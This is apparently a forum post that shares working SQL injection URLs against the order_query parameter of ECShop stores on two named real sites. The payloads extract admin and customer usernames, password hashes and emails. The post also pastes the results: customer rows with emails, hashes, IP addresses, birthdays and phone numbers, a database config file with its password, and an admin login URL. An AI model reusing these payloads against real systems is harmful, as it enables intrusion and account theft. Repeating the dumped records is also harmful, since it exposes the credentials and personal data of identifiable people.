http://ec.kyict.com.tw/user.php?act=order_query&order_sn=%27%20union%20select%201,2,3,4,5,6,concat(user_name,0x7c,password,0x7c,email),8%20from%20ecs_admin_user/*

	
Код:
	
http://ec.kyict.com.tw/user.php?act=order_query&order_sn=%27%20union%20select%201,2,3,4,5,6,table_name,8%20from%20information_schema.tables/*

INSERT INTO `ecs_users` ( `user_id`, `email`, `user_name`, `password`, `question`, `answer`, `sex`, `birthday`, `user_money`, `frozen_money`, `pay_points`, `rank_points`, `address_id`, `reg_time`, `last_login`, `last_time`, `last_ip`, `visit_count`, `user_rank`, `is_special`, `salt`, `parent_id`, `flag`, `alias`, `msn`, `qq`, `office_phone`, `home_phone`, `mobile_phone`, `is_validated`, `credit_line` ) VALUES  ('1', '1.tw@gmail.com', 'pansy_lai', 'e9f81a5f8c038fe7f5e579024e1ab60e', '', '', '2', '1908-01-01', '0.00', '0.00', '0', '0', '0', '1200871393', '0', '0000-00-00 00:00:00', '', '0', '0', '0', '0', '0', '0', '', '', '', '', '', '', '0', '0.00');
INSERT INTO `ecs_users` ( `user_id`, `email`, `user_name`, `password`, `question`, `answer`, `sex`, `birthday`, `user_money`, `frozen_money`, `pay_points`, `rank_points`, `address_id`, `reg_time`, `last_login`, `last_time`, `last_ip`, `visit_count`, `user_rank`, `is_special`, `salt`, `parent_id`, `flag`, `alias`, `msn`, `qq`, `office_phone`, `home_phone`, `mobile_phone`, `is_validated`, `credit_line` ) VALUES  ('2', 'chiaho.tw@gmail.com', 'chiaho', '8ed35021606371c208f2d056c14e020e', '', '', '1', '0000-00-00', '0.00', '0.00', '0', '0', '0', '1146035280', '1200980182', '0000-00-00 00:00:00', '218.210.238.232', '3', '0', '0', '0', '0', '0', '', '', '', '', '', '', '1', '0.00');
INSERT INTO `ecs_users` ( `user_id`, `email`, `user_name`, `password`, `question`, `answer`, `sex`, `birthday`, `user_money`, `frozen_money`, `pay_points`, `rank_points`, `address_id`, `reg_time`, `last_login`, `last_time`, `last_ip`, `visit_count`, `user_rank`, `is_special`, `salt`, `parent_id`, `flag`, `alias`, `msn`, `qq`, `office_phone`, `home_phone`, `mobile_phone`, `is_validated`, `credit_line` ) VALUES  ('3', '16888.tw@gmail.com', 'ritakao', '5724cf1a6a973cc01c7cc3890eb04dd5', '', '', '1', '0000-00-00', '0.00', '0.00', '0', '0', '0', '1167017276', '1200965885', '0000-00-00 00:00:00', '218.210.238.232', '1', '0', '0', '0', '0', '0', '', '', '', '', '', '', '0', '0.00');
INSERT INTO `ecs_users` ( `user_id`, `email`, `user_name`, `password`, `question`, `answer`, `sex`, `birthday`, `user_money`, `frozen_money`, `pay_points`, `rank_points`, `address_id`, `reg_time`, `last_login`, `last_time`, `last_ip`, `visit_count`, `user_rank`, `is_special`, `salt`, `parent_id`, `flag`, `alias`, `msn`, `qq`, `office_phone`, `home_phone`, `mobile_phone`, `is_validated`, `credit_line` ) VALUES  ('4', '2@yahoo.com.tw', 'shane', 'c7c5399b49dd043c96ed0c0258607e87', '', '', '1', '1989-05-07', '0.00', '0.00', '0', '0', '0', '1200995153', '1200966388', '0000-00-00 00:00:00', '218.210.238.232', '1', '0', '0', '0', '0', '0', '', '', '', '', '', '', '0', '0.00');
INSERT INTO `ecs_users` ( `user_id`, `email`, `user_name`, `password`, `question`, `answer`, `sex`, `birthday`, `user_money`, `frozen_money`, `pay_points`, `rank_points`, `address_id`, `reg_time`, `last_login`, `last_time`, `last_ip`, `visit_count`, `user_rank`, `is_special`, `salt`, `parent_id`, `flag`, `alias`, `msn`, `qq`, `office_phone`, `home_phone`, `mobile_phone`, `is_validated`, `credit_line` ) VALUES  ('5', 'suzy@kyict.com.tw', 'suzy', 'fe7cb68d197e9c938caa810d001b76f7', '', '', '2', '1983-05-05', '0.00', '0.00', '0', '0', '0', '1200996685', '1200968007', '0000-00-00 00:00:00', '60.249.120.190', '1', '0', '0', '0', '0', '0', '', '', '', '', '', '', '1', '0.00');
INSERT INTO `ecs_users` ( `user_id`, `email`, `user_name`, `password`, `question`, `answer`, `sex`, `birthday`, `user_money`, `frozen_money`, `pay_points`, `rank_points`, `address_id`, `reg_time`, `last_login`, `last_time`, `last_ip`, `visit_count`, `user_rank`, `is_special`, `salt`, `parent_id`, `flag`, `alias`, `msn`, `qq`, `office_phone`, `home_phone`, `mobile_phone`, `is_validated`, `credit_line` ) VALUES  ('6', 'kevin365007@gmail.com', 'kevin', 'dfdddbbe9c4aebc35385c67b1ed01a0f', '', '', '1', '1970-09-07', '0.00', '0.00', '2500', '2500', '1', '1152815400', '1201122884', '0000-00-00 00:00:00', '60.249.120.182', '2', '0', '0', '0', '0', '0', '', '', '', '', '', '', '0', '0.00');
INSERT INTO `ecs_users` ( `user_id`, `email`, `user_name`, `password`, `question`, `answer`, `sex`, `birthday`, `user_money`, `frozen_money`, `pay_points`, `rank_points`, `address_id`, `reg_time`, `last_login`, `last_time`, `last_ip`, `visit_count`, `user_rank`, `is_special`, `salt`, `parent_id`, `flag`, `alias`, `msn`, `qq`, `office_phone`, `home_phone`, `mobile_phone`, `is_validated`, `credit_line` ) VALUES  ('7', 'larrylin819@gmail.com', 'larrylin', 'b96ad5bb2173587d1c6b35ef4977b82e', '', '', '0', '0000-00-00', '0.00', '0.00', '1', '1', '2', '1201162547', '1201230188', '0000-00-00 00:00:00', '59.126.210.220', '2', '0', '0', '0', '0', '0', '', '', '', '', '', '', '0', '0.00');
INSERT INTO `ecs_users` ( `user_id`, `email`, `user_name`, `password`, `question`, `answer`, `sex`, `birthday`, `user_money`, `frozen_money`, `pay_points`, `rank_points`, `address_id`, `reg_time`, `last_login`, `last_time`, `last_ip`, `visit_count`, `user_rank`, `is_special`, `salt`, `parent_id`, `flag`, `alias`, `msn`, `qq`, `office_phone`, `home_phone`, `mobile_phone`, `is_validated`, `credit_line` ) VALUES  ('8', 'swaya57@yahoo.com.tw', 'swaya57', '37ffbcbb89a0f03a3e0867341eee9b53', '', '', '0', '0000-00-00', '0.00', '0.00', '1', '1', '0', '1240790468', '1240790468', '0000-00-00 00:00:00', '163.24.24.117', '1', '0', '0', '0', '0', '0', '', '', '', '', '', '', '0', '0.00');

http://ec.kyict.com.tw/admin/index.php

http://www.mjholly.com/ecshop/user.php?act=order_query&order_sn=%27%20union%20select%201,2,3,4,5,6,table_name,8%20from%20information_schema.tables/*

<?php
// database host
$db_host   = "localhost:3306";

// database name
$db_name   = "vhost15459-1";

// database username
$db_user   = "vhost15459";

// database password
$db_pass   = "phoebe";

// table prefix
$prefix    = "ecs_";

$timezone    = "Asia/Shanghai";

$cookie_path    = "/";

$cookie_domain    = "";

$admin_dir = "admin";

$session = "1440";
?>

http://www.mjholly.com/ecshop/user.php?act=order_query&order_sn=%27%20union%20select%201,2,3,4,5,6,concat(user_name,0x7c,password,0x7c,email),8%20from%20ecs_admin_user/*

http://www.mjholly.com/ecshop/user.php?act=order_query&order_sn=%27%20union%20select%201,2,3,4,5,6,concat(user_name,0x7c,password,0x7c),8%20from%20ecs_users/*

INSERT INTO `ecs_users` ( `user_id`, `email`, `user_name`, `password`, `question`, `answer`, `sex`, `birthday`, `user_money`, `frozen_money`, `pay_points`, `rank_points`, `address_id`, `reg_time`, `last_login`, `last_time`, `last_ip`, `visit_count`, `user_rank`, `is_special`, `salt`, `parent_id`, `flag`, `alias`, `msn`, `qq`, `office_phone`, `home_phone`, `mobile_phone`, `is_validated`, `credit_line` ) VALUES  ('26', 's2224913@yahoo.com.tw', 's2224913', 'dc7f1d68d86fd5b29b97b342bd91a0ae', '', '', '0', '0000-00-00', '0.00', '0.00', '0', '0', '0', '1235846895', '1235846895', '0000-00-00 00:00:00', '58.114.130.16', '1', '0', '0', '0', '0', '0', '', '', '', '', '', '', '0', '0.00');
INSERT INTO `ecs_users` ( `user_id`, `email`, `user_name`, `password`, `question`, `answer`, `sex`, `birthday`, `user_money`, `frozen_money`, `pay_points`, `rank_points`, `address_id`, `reg_time`, `last_login`, `last_time`, `last_ip`, `visit_count`, `user_rank`, `is_special`, `salt`, `parent_id`, `flag`, `alias`, `msn`, `qq`, `office_phone`, `home_phone`, `mobile_phone`, `is_validated`, `credit_line` ) VALUES  ('27', 's726162001@yahoo.com.tw', 's726162001', 'cec6ddc2b766c26fd4a9bffd55f45dc7', '', '', '0', '0000-00-00', '0.00', '0.00', '0', '0', '0', '1237181260', '1237181260', '0000-00-00 00:00:00', '218.175.56.242', '1', '0', '0', '0', '0', '0', '', 'dodo.0708@hotmail.com', '', '', '', '0939356129', '0', '0.00');
INSERT INTO `ecs_users` ( `user_id`, `email`, `user_name`, `password`, `question`, `answer`, `sex`, `birthday`, `user_money`, `frozen_money`, `pay_points`, `rank_points`, `address_id`, `reg_time`, `last_login`, `last_time`, `last_ip`, `visit_count`, `user_rank`, `is_special`, `salt`, `parent_id`, `flag`, `alias`, `msn`, `qq`, `office_phone`, `home_phone`, `mobile_phone`, `is_validated`, `credit_line` ) VALUES  ('28', 'beautiful8barbie@yahoo.com.tw', '蔡沛錞', 'c6158b366eb168d81117331a3c88ab8b', '', '', '0', '0000-00-00', '0.00', '0.00', '0', '0', '10', '1237581695', '1237581695', '0000-00-00 00:00:00', '114.32.139.143', '1', '0', '0', '0', '0', '0', '', '', '', '', '', '0987239628', '0', '0.00');